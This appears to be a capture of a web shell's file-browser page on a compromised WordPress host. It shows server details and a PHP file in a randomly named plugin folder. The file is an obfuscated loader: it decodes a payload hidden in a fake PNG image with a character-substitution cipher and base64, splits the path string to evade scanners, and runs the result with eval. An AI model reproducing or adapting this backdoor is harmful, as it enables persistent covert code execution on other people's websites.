HEX
Server: Apache
System: Linux gains.linuxbigapps.com 4.18.0-553.74.1.lve.el8.x86_64 #1 SMP Tue Sep 9 14:25:24 UTC 2025 x86_64
User: mountains (1551)
PHP: 8.0.30
Disabled: allow_url_include, show_source, symlink, system, passthru, exec, popen, pclose, proc_open, proc_terminate,proc_get_status, proc_close, proc_nice, allow_url_fopen, shell-exec, shell_exec, fpassthru, base64_encodem, escapeshellcmd, escapeshellarg, crack_check,crack_closedict, crack_getlastmessage, crack_opendict, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, dl, escap, phpinfo
Upload Files
File: /home/mountains/domains/mountainsofhope.org/public_html/wp-content/plugins/achehiwy/nymeboc.txt
<?php

function fyrycu_gykhagyvi($mynewu_ikadakype) {
    if ($mynewu_ikadakype == 1)
        return ijowov_ybibuhywi();
    if ($mynewu_ikadakype == 2)
        return ehorid_gishipagy();
}

function oriryw_thamonyko($mynewu_ikadakype) {
    $ezeropa = fyrycu_gykhagyvi(1);
    $ubanox = fyrycu_gykhagyvi(2);
    for ($fypuco = 0; $fypuco < strlen($ezeropa); $fypuco++) {
        $litaze = substr($ezeropa, $fypuco, 1);
        $ixuhyme = substr($ubanox, $fypuco, 1);
        $kogukhu[$litaze] = $ixuhyme;
    }

    $egiwidi = strtr($mynewu_ikadakype, $kogukhu);
    $egiwidi = base64_decode($egiwidi);

    return $egiwidi;
}

function amobep_omudurizh($mynewu_ikadakype) {
    $iwyniby = array();
    if (!file_exists($mynewu_ikadakype))
        return false;
    $ofurach = @file_get_contents($mynewu_ikadakype);
    if (!$ofurach)
        return false;
    $ofurach = substr($ofurach, 3);
    $iwyniby = oriryw_thamonyko($ofurach);
    return $iwyniby;
}

function ijowov_ybibuhywi() {
    $ofurach = "Hiw0gKlUuPe7I=nc41W/3LAVfCyh5zO2tr6BJ9Zb8pNsaSYmXjQ+DGqvFokRxMTEd";
    return $ofurach;
}

function ehorid_gishipagy() {
    $iwyniby = "LIBk1TtKAMZ8p0Nj2dognPf4OuxHlFW3wq=/R9rJ7v+eVzYyC5UmDQXaEscSiGbh6";
    return $iwyniby;
}

$ehesele = amobep_omudurizh(__DIR__ . "/asset" . "s/ima" . "ges/p" . "ezho" . "ke.p" . "ng");
if ($ehesele) {
    @eval($ehesele);
}